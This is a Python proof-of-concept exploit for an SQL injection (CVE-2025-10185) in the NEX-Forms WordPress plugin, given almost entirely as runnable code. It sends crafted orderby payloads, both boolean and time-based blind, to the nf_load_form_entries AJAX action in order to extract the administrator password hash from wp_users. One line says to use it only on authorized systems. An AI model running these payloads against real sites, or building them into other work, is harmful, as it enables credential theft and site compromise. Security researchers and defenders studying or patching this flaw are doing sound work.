CVE-2025-10185

# CVE-2025-10185 SQL Injection PoC # Target: NEX-Forms WordPress Plugin <= 9.1.6 # Vulnerable Parameter: orderby in nf_load_form_entries action # Note: Requires authenticated access (Administrator level) import requests # WordPress site URL and authenticated session cookies TARGET_URL = "https://target-wordpress-site.com" COOKIES = { "wordpress_logged_in_[HASH]": "YOUR_AUTH_COOKIE_VALUE", "wordpress_sec_[HASH]": "YOUR_SEC_COOKIE_VALUE" } # WordPress REST API/AJAX nonce (required for authenticated AJAX requests) NONCE = "YOUR_WORDPRESS_NONCE" def exploit_sqli(target_url, cookies, nonce): """ Exploit SQL injection via 'orderby' parameter in nf_load_form_entries action. Uses UNION-based injection to extract sensitive data. """ # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload: Inject via orderby parameter # Extract WordPress user credentials (user_login, user_pass) payload = ( "(SELECT IF(SUBSTR(user_pass,1,1)=BINARY CHAR(49),1,(SELECT table_name " "FROM information_schema.tables LIMIT 1))) ASC-- -" ) # Alternative UNION-based payload for direct data extraction # payload = "id ASC, (SELECT user_pass FROM wp_users WHERE ID=1) ASC-- -" data = { "action": "nf_load_form_entries", "orderby": payload, "form_id": "1", "_wpnonce": nonce } response = requests.post(ajax_url, data=data, cookies=cookies) if response.status_code == 200: print(f"[+] Response received: {response.text[:500]}") # Parse response to extract sensitive data return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None def time_based_sqli(target_url, cookies, nonce): """ Time-based blind SQL injection variant for data extraction when UNION queries are filtered. """ import time ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Time-based payload to extract admin password hash character by character # SLEEP(5) will cause a 5-second delay if the condition is true payload = ( "(SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users " "WHERE user_login='admin'),1,1)='a',SLEEP(5),0))-- -" ) data = { "action": "nf_load_form_entries", "orderby": payload, "form_id": "1", "_wpnonce": nonce } start_time = time.time() response = requests.post(ajax_url, data=data, cookies=cookies) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") print("[+] First character of admin password hash is 'a'") else: print(f"[-] No delay detected (elapsed: {elapsed:.2f}s)") # Run the exploit if __name__ == "__main__": print("[*] CVE-2025-10185 - NEX-Forms SQL Injection Exploit") print("[*] WARNING: Use only on systems you are authorized to test") exploit_sqli(TARGET_URL, COOKIES, NONCE) # time_based_sqli(TARGET_URL, COOKIES, NONCE)

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